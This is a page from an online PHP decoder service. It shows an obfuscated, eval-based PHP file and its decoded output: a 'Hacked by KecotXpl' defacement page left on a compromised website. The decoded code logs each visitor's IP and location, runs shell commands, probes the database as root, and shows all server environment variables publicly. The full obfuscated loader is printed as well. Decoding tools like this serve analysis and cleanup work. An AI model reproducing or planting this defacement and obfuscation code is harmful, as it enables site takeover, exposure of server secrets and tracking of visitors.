Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $enc = '+PK0T5BD+gxB/3/VkP7gynF3OY1A+J/VETb6Mlb1kr0tKdEhqKVxh0DJUKgkJdnBKBlStiZvP53..
Decoded Output download
?>b'<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>KecotXpl WAS HERE</title>
<link rel="icon" type="image/jpg" href="https://i.ibb.co.com/Bzgsrzx/Picsart-23-09-13-02-36-54-118.png">
<meta name="description" content="Indonesian People">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=PT+Sans+Narrow|Just+Another+Hand">
<style>
body {
text-align: center;
background-color: black;
color: white;
}
@keyframes shake {
0% { transform: translate(1px, 1px) rotate(0deg); }
10% { transform: translate(-1px, -2px) rotate(-1deg); }
20% { transform: translate(-3px, 0px) rotate(1deg); }
30% { transform: translate(3px, 2px) rotate(0deg); }
40% { transform: translate(1px, -1px) rotate(1deg); }
50% { transform: translate(-1px, 2px) rotate(-1deg); }
60% { transform: translate(-3px, 1px) rotate(0deg); }
70% { transform: translate(3px, 1px) rotate(-1deg); }
80% { transform: translate(-1px, -1px) rotate(1deg); }
90% { transform: translate(1px, 2px) rotate(0deg); }
100% { transform: translate(1px, -2px) rotate(-1deg); }
}
.x {
animation: shake 5s;
animation-iteration-count: infinite;
font-family: \'Just Another Hand\', cursive;
font-size: 58px;
}
.z {
font-family: \'PT Sans Narrow\', cursive;
font-size: 20px;
}
button {
background-color: #4CAF50;
color: white;
padding: 10px;
border: none;
cursor: pointer;
border-radius: 5px;
margin-top: 20px;
}
button:hover {
background-color: #45a049;
}
.content {
margin: 20px;
}
#server-info, #system-info, #visitor-info, #visitor-count, #environment-table, #server-status, #network-stats, #disk-usage, #network-ping, #php-extensions, #server-benchmark, #database-info, #environment-variables {
display: none;
}
</style>
</head>
<body onclick="playAudio();">
<audio id="sec">
<source src="https://researchwap.org/generator/khodamsong.mp3" type="audio/mpeg">
</audio>
<script>
var x = document.getElementById("sec");
function playAudio() {
x.play();
}
function toggleInfo(id) {
var element = document.getElementById(id);
element.style.display = (element.style.display === "none" || element.style.display === "") ? "block" : "none";
}
</script>
<br><br><br>
<img src="https://i.ibb.co.com/Bzgsrzx/Picsart-23-09-13-02-36-54-118.png" width="250">
<div class="x"> Hacked by KecotXpl </div><br>
<div class="z">
<i><strong>WOI TEAM SUPPORT IT LU MANA MIN SINI GUA KASIH PAHAM !!!</strong><br>
<strong>#HACKED BY KECOTXPL && #HACKED BY KECOT CYBER TEAM </strong></i><br>
<br><strong>Min jangan Sok keras Kalau Web luh bisa gua retas</strong><br><br>
</div>
<?php
// Fungsi untuk mengambil data IP dan informasi lokasi menggunakan ip-api.com
function get_visitor_info() {
$ip = $_SERVER[\'REMOTE_ADDR\'];
$url = "http://ip-api.com/json/{$ip}";
$response = file_get_contents($url);
$data = json_decode($response, true);
return $data;
}
$visitor_info = get_visitor_info();
$visitor_ip = $visitor_info[\'query\'];
$visitor_city = $visitor_info[\'city\'];
$visitor_region = $visitor_info[\'regionName\'];
$visitor_country = $visitor_info[\'country\'];
$visitor_lat = $visitor_info[\'lat\'];
$visitor_lon = $visitor_info[\'lon\'];
$visitor_timezone = $visitor_info[\'timezone\'];
// Simpan informasi pengunjung ke file
$file = \'visitor_count.txt\';
$existing_data = file_exists($file) ? file_get_contents($file) : \'\';
$new_visitor_data = "IP: {$visitor_ip}, City: {$visitor_city}, Region: {$visitor_region}, Country: {$visitor_country}, Latitude: {$visitor_lat}, Longitude: {$visitor_lon}, Timezone: {$visitor_timezone}, Date: " . date(\'Y-m-d H:i:s\') . "
";
file_put_contents($file, $existing_data . $new_visitor_data);
// File untuk menghitung jumlah pengunjung unik
$ip_file = \'unique_visitors.txt\';
if (!file_exists($ip_file)) {
file_put_contents($ip_file, "");
}
$visited_ips = file($ip_file, FILE_IGNORE_NEW_LINES);
if (!in_array($visitor_ip, $visited_ips)) {
$visited_ips[] = $visitor_ip;
file_put_contents($ip_file, implode("
", $visited_ips) . "
");
}
$visitor_count = count($visited_ips);
// Fungsi untuk mendapatkan status server
function get_server_status() {
$cpu_load = sys_getloadavg();
$memory_usage = memory_get_usage(true);
$memory_limit = ini_get(\'memory_limit\');
return [
\'cpu_load\' => $cpu_load[0],
\'memory_usage\' => $memory_usage,
\'memory_limit\' => $memory_limit
];
}
$server_status = get_server_status();
// Fungsi untuk mendapatkan statistik jaringan
function get_network_stats() {
return shell_exec("netstat -i");
}
$network_stats = get_network_stats();
// Fungsi untuk mendapatkan penggunaan disk
function get_disk_usage() {
$total_disk = disk_total_space("/");
$free_disk = disk_free_space("/");
$used_disk = $total_disk - $free_disk;
return [
\'total_disk\' => $total_disk,
\'free_disk\' => $free_disk,
\'used_disk\' => $used_disk
];
}
$disk_usage = get_disk_usage();
// Fungsi untuk melakukan ping
function get_ping($host = "8.8.8.8") {
return shell_exec("ping -c 4 " . escapeshellarg($host));
}
$ping_result = get_ping();
// Menampilkan ekstensi PHP yang terpasang
$php_extensions = get_loaded_extensions();
// Benchmark server
$start_time = microtime(true);
sleep(1); // Simulasi beban server
$end_time = microtime(true);
$execution_time = $end_time - $start_time;
// Koneksi ke database MySQL/MariaDB
$db_host = \'localhost\'; // Ubah sesuai dengan host database Anda
$db_user = \'root\'; // Ubah sesuai dengan user database Anda
$db_password = \'\'; // Ubah sesuai dengan password database Anda
$db_name = \'test_db\'; // Ubah sesuai dengan nama database Anda
// Cek koneksi ke database
$conn = @new mysqli($db_host, $db_user, $db_password, $db_name);
if ($conn->connect_error) {
$db_status = \'Gagal: \' . $conn->connect_error;
} else {
$db_status = \'Berhasil\';
$db_version = $conn->server_info;
$conn->close();
}
// Menampilkan variabel lingkungan
$env_variables = getenv();
?>
<div class="content">
<button onclick="toggleInfo(\'visitor-count\')"> Jumlah Pengunjung</button>
<div id="visitor-count">
<h1>Jumlah Pengunjung Unik: <?= $visitor_count ?></h1>
</div>
<button onclick="toggleInfo(\'visitor-info\')"> Informasi Pengunjung</button>
<div id="visitor-info">
<h3>Informasi Pengunjung</h3>
<p><strong>IP Address:</strong> <?= htmlspecialchars($visitor_ip) ?></p>
<p><strong>Kota:</strong> <?= htmlspecialchars($visitor_city) ?></p>
<p><strong>Region:</strong> <?= htmlspecialchars($visitor_region) ?></p>
<p><strong>Negara:</strong> <?= htmlspecialchars($visitor_country) ?></p>
<p><strong>Latitude:</strong> <?= htmlspecialchars($visitor_lat) ?></p>
<p><strong>Longitude:</strong> <?= htmlspecialchars($visitor_lon) ?></p>
<p><strong>Timezone:</strong> <?= htmlspecialchars($visitor_timezone) ?></p>
</div>
<button onclick="toggleInfo(\'server-info\')"> Informasi Server</button>
<div id="server-info">
<h3>Informasi Server</h3>
<p><strong>Nama Server:</strong> <?= $_SERVER[\'SERVER_NAME\'] ?></p>
<p><strong>Port Server:</strong> <?= $_SERVER[\'SERVER_PORT\'] ?></p>
<p><strong>Metode Permintaan:</strong> <?= $_SERVER[\'REQUEST_METHOD\'] ?></p>
</div>
<button onclick="toggleInfo(\'system-info\')"> Informasi Sistem</button>
<div id="system-info">
<h3>Informasi Sistem & PHP</h3>
<p><strong>Nama Sistem Operasi:</strong> <?= php_uname() ?></p>
<p><strong>Platform:</strong> <?= PHP_OS ?></p>
<p><strong>Versi PHP:</strong> <?= phpversion() ?></p>
<p><strong>Konfigurasi PHP:</strong> <?= php_ini_loaded_file() ?></p>
</div>
<button onclick="toggleInfo(\'server-status\')"> Status Server</button>
<div id="server-status">
<h3>Status Server</h3>
<p><strong>CPU Load:</strong> <?= round($server_status[\'cpu_load\'], 2) ?>%</p>
<p><strong>Memory Usage:</strong> <?= round($server_status[\'memory_usage\'] / 1024 / 1024, 2) ?> MB</p>
<p><strong>Memory Limit:</strong> <?= $server_status[\'memory_limit\'] ?></p>
</div>
<button onclick="toggleInfo(\'network-stats\')"> Statistik Jaringan</button>
<div id="network-stats">
<h3>Statistik Jaringan</h3>
<pre><?= htmlspecialchars($network_stats) ?></pre>
</div>
<button onclick="toggleInfo(\'disk-usage\')"> Penggunaan Disk</button>
<div id="disk-usage">
<h3>Penggunaan Disk</h3>
<p><strong>Total Disk:</strong> <?= round($disk_usage[\'total_disk\'] / 1024 / 1024 / 1024, 2) ?> GB</p>
<p><strong>Disk Gratis:</strong> <?= round($disk_usage[\'free_disk\'] / 1024 / 1024 / 1024, 2) ?> GB</p>
<p><strong>Disk Terpakai:</strong> <?= round($disk_usage[\'used_disk\'] / 1024 / 1024 / 1024, 2) ?> GB</p>
</div>
<button onclick="toggleInfo(\'network-ping\')"> Ping Jaringan</button>
<div id="network-ping">
<h3>Ping Jaringan</h3>
<pre><?= htmlspecialchars($ping_result) ?></pre>
</div>
<button onclick="toggleInfo(\'php-extensions\')"> Ekstensi PHP</button>
<div id="php-extensions">
<h3>Ekstensi PHP</h3>
<ul>
<?php foreach ($php_extensions as $extension): ?>
<li><?= htmlspecialchars($extension) ?></li>
<?php endforeach; ?>
</ul>
</div>
<button onclick="toggleInfo(\'server-benchmark\')"> Benchmark Server</button>
<div id="server-benchmark">
<h3>Benchmark Server</h3>
<p><strong>Waktu Eksekusi (s):</strong> <?= round($execution_time, 4) ?> detik</p>
</div>
<button onclick="toggleInfo(\'database-info\')"> Informasi Database</button>
<div id="database-info">
<h3>Informasi Database</h3>
<p><strong>Status Koneksi:</strong> <?= $db_status ?></p>
<?php if (isset($db_version)): ?>
<p><strong>Versi Database:</strong> <?= $db_version ?></p>
<?php endif; ?>
</div>
<button onclick="toggleInfo(\'environment-variables\')"> Variabel Lingkungan</button>
<div id="environment-variables">
<h3>Variabel Lingkungan</h3>
<table border="1" cellpadding="5" cellspacing="0">
<tr><th>Variabel</th><th>Nilai</th></tr>
<?php foreach ($env_variables as $key => $value): ?>
<tr><td><?= htmlspecialchars($key) ?></td><td><?= htmlspecialchars($value) ?></td></tr>
<?php endforeach; ?>
</table>
</div>
</div>
</body>
</html>
'
Did this file decode correctly?
Original Code
<?php
$enc = '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';
eval(base64_decode(base64_decode('WlhaaGJDZ2lQejRpTG1kNmRXNWpiMjF3Y21WemN5aG5lblZ1WTI5dGNISmxjM01vWjNwcGJtWnNZWFJsS0dkNmFXNW1iR0YwWlNobmVtbHVabXhoZEdVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKeVpYWW9KR1Z1WXlrcEtTa3BLU2twT3c9PQ=========')));exit;
?>
Function Calls
strrev | 1 |
gzinflate | 3 |
gzuncompress | 2 |
base64_decode | 3 |
Stats
MD5 | bd59a864cd63b9a5be058e6e55662fdb |
Eval Count | 2 |
Decode Time | 115 ms |